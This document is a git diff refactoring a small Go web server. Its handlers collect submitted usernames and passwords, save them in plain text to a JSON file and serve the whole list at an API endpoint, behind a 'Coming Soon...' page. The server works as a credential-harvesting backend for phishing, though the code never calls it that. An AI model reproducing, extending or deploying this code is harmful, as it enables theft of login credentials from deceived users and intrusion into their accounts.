diff --git a/flags.go b/flags.go new file mode 100644 index 0000000..8763c79 --- /dev/null +++ b/flags.go @@ -0,0 +1,10 @@ +package main + +import ( + "flag" +) + +var addr = flag.String("addr", ":8000", "http service address") +var static_files = flag.String("static", "./static", "location of static files") +var db_file = flag.String("db", "db.json", "output database") +var template_dir = flag.String("templates", "templates", "template dir") diff --git a/handlers.go b/handlers.go new file mode 100644 index 0000000..f701c1e --- /dev/null +++ b/handlers.go @@ -0,0 +1,48 @@ +package main + +import ( + "encoding/json" + "io/ioutil" + "log" + "net/http" +) + +func homeHandler(c http.ResponseWriter, req *http.Request) { + t := templates.Lookup("index.html") + if t != nil { + t.Execute(c, req.Host) + } else { + log.Fatal("template index.html not found") + } +} + +func helloHandler(c http.ResponseWriter, req *http.Request) { + t := templates.Lookup("hello.html") + t.Execute(c, req.Host) +} + +func passHandler(resp http.ResponseWriter, req *http.Request) { + un := req.FormValue("username") + pw := req.FormValue("password") + c := Cred{un, pw} + m.Lock() + defer m.Unlock() + creds = append(creds, c) + b, err := json.Marshal(creds) + if err != nil { + log.Fatal(err) + } + err = ioutil.WriteFile(*db_file, b, 0644) + if err != nil { + log.Fatal(err) + } + http.Redirect(resp, req, "/", http.StatusTemporaryRedirect) +} + +func credHandler(resp http.ResponseWriter, req *http.Request) { + b, err := json.Marshal(creds) + if err != nil { + log.Fatal(err) + } + resp.Write(b) +} diff --git a/main.go b/main.go index 22f9f47..b9986ed 100644 --- a/main.go +++ b/main.go @@ -3,12 +3,12 @@ package main import ( "encoding/json" "flag" + "html/template" "io/ioutil" "log" "net/http" "path/filepath" "sync" - "html/template" ) type Cred struct { @@ -17,53 +17,17 @@ type Cred struct { } var creds = make([]Cred, 0) - var m = sync.Mutex{} - -var addr = flag.String("addr", ":8000", "http service address") -var static_files = flag.String("static", "./static", "location of static files") -var db_file = flag.String("db", "db.json", "output database") -var template_dir = flag.String("templates", "templates", "template dir") var templates *template.Template -func homeHandler(c http.ResponseWriter, req *http.Request) { - templates.Execute(c, req.Host) -} - -func passHandler(resp http.ResponseWriter, req *http.Request) { - un := req.FormValue("username") - pw := req.FormValue("password") - c := Cred{un, pw} - m.Lock() - defer m.Unlock() - creds = append(creds, c) - b, err := json.Marshal(creds) - if err != nil { - log.Fatal(err) - } - err = ioutil.WriteFile(*db_file, b, 0644) - if err != nil { - log.Fatal(err) - } - http.Redirect(resp, req, "/", http.StatusTemporaryRedirect) -} - -func credHandler(resp http.ResponseWriter, req *http.Request) { - b, err := json.Marshal(creds) - if err != nil { - log.Fatal(err) - } - resp.Write(b) -} - func init_db() { b, err := ioutil.ReadFile(*db_file) if err != nil { - log.Println("Problem opening db file", err) + log.Println("Problem opening db file ... ignoring ...", err) } err = json.Unmarshal(b, &creds) if err != nil { - log.Println("Problem parsing db file", err) + log.Println("Problem parsing db file ... ignoring ...", err) creds = make([]Cred, 0) } } @@ -72,7 +36,7 @@ func main() { flag.Parse() init_db() pattern := filepath.Join(*template_dir, "*.html") - var err error + var err error templates, err = template.ParseGlob(pattern) if err != nil { println(*template_dir) @@ -80,6 +44,7 @@ func main() { log.Fatal("problem parsing template dir:", *template_dir) } http.HandleFunc("/", homeHandler) + http.HandleFunc("/hello/", helloHandler) http.HandleFunc("/pass", passHandler) http.HandleFunc("/api/1.0/creds/", credHandler) http.Handle("/s/", http.StripPrefix("/s/", diff --git a/templates/hello.html b/templates/hello.html new file mode 100644 index 0000000..e05cdf7 --- /dev/null +++ b/templates/hello.html @@ -0,0 +1,23 @@ + + + + Coming Soon... + + + + + + +
+
+ +
+
+ + + +